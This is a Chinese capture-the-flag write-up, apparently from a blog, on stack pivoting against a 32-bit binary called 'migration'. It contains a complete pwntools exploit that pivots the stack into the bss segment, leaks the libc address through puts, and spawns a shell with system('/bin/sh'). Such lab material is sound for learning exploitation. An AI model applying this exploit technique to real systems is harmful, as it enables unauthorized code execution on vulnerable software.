从IDA我们可以看到,main函数只能调一次,那么就用不了ret2libc了,接下来算出溢出的空间只有20个字节(这里96是被我改过的,原题大小是0x40)
image.pngchecksec:
image.png溢出的空间是不够用来构造rop链的,那么就要用到栈迁移了,思路是:
先利用溢出执行一次read函数,把我们接下来要执行的rop链写到bss段去,利用leave将ebp跳转到bss段上去,让程序 当成栈去执行,从而达到栈迁移的目的
找到对应的gadget就可以开始写exp了
exp:
#-*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./migration')
elf = ELF('./migration')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = elf.libc
system_libc = libc.symbols['system']
print "system_libc :" + hex(system_libc)
puts_plt = elf.plt['puts']
print "puts_plt :" + hex(puts_plt)
puts_got = elf.got['puts']
print "puts_got :" + hex(puts_got)
puts_libc = libc.symbols['puts']
print "puts_libc :" + hex(puts_libc)
read_plt = elf.plt['read']
print "read_plt :" + hex(read_plt)
binsh = libc.search("/bin/sh").next()
print "binsh :" + hex(binsh)
leave_ret = 0x08048418
buf1 = elf.bss() + 0x500
buf2 = elf.bss() + 0x400
# pop_ebp = 0x0804856b
pop_ebx = 0x0804836d
#调用 read 函数往 buf1 写入"/bin/sh"(不明白的一点,为什么第一个参数是0,第一个参数不该是指向"/bin/sh"的一个指针吗?)
#read的第一个参数为0指的是标准输入流也就是键盘,在脚本里面的键盘就是payload,也就是下一个senndline(payload)就是读入的内容
payload = "A" * 40
payload += p32(buf1) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf1) + p32(0x100)
p.recvuntil(" :\n")
# gdb.attach(p)
pause()
p.send(payload)
# pause()
#打印出puts的真实地址 ,然后继续调用 read 函数
payload = p32(buf2) + p32(puts_plt) + p32(pop_ebx) + p32(puts_got) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf2) + p32(0x100)
p.send(payload)
# pause()
#接收打印的puts真实地址
puts_addr = u32(p.recv(4))
print "puts_addr :" + hex(puts_addr)
#算偏移
offset = puts_addr - puts_libc
system_addr = offset + system_libc
binsh_addr = offset + binsh
payload = p32(0) + p32(system_addr) + "bbbb" + p32(binsh_addr)
p.send(payload)
p.interactive()
# 0xf7df9ca0
这里盗来23R3F师傅的一张图来理解栈迁移的过程
image.png
网友评论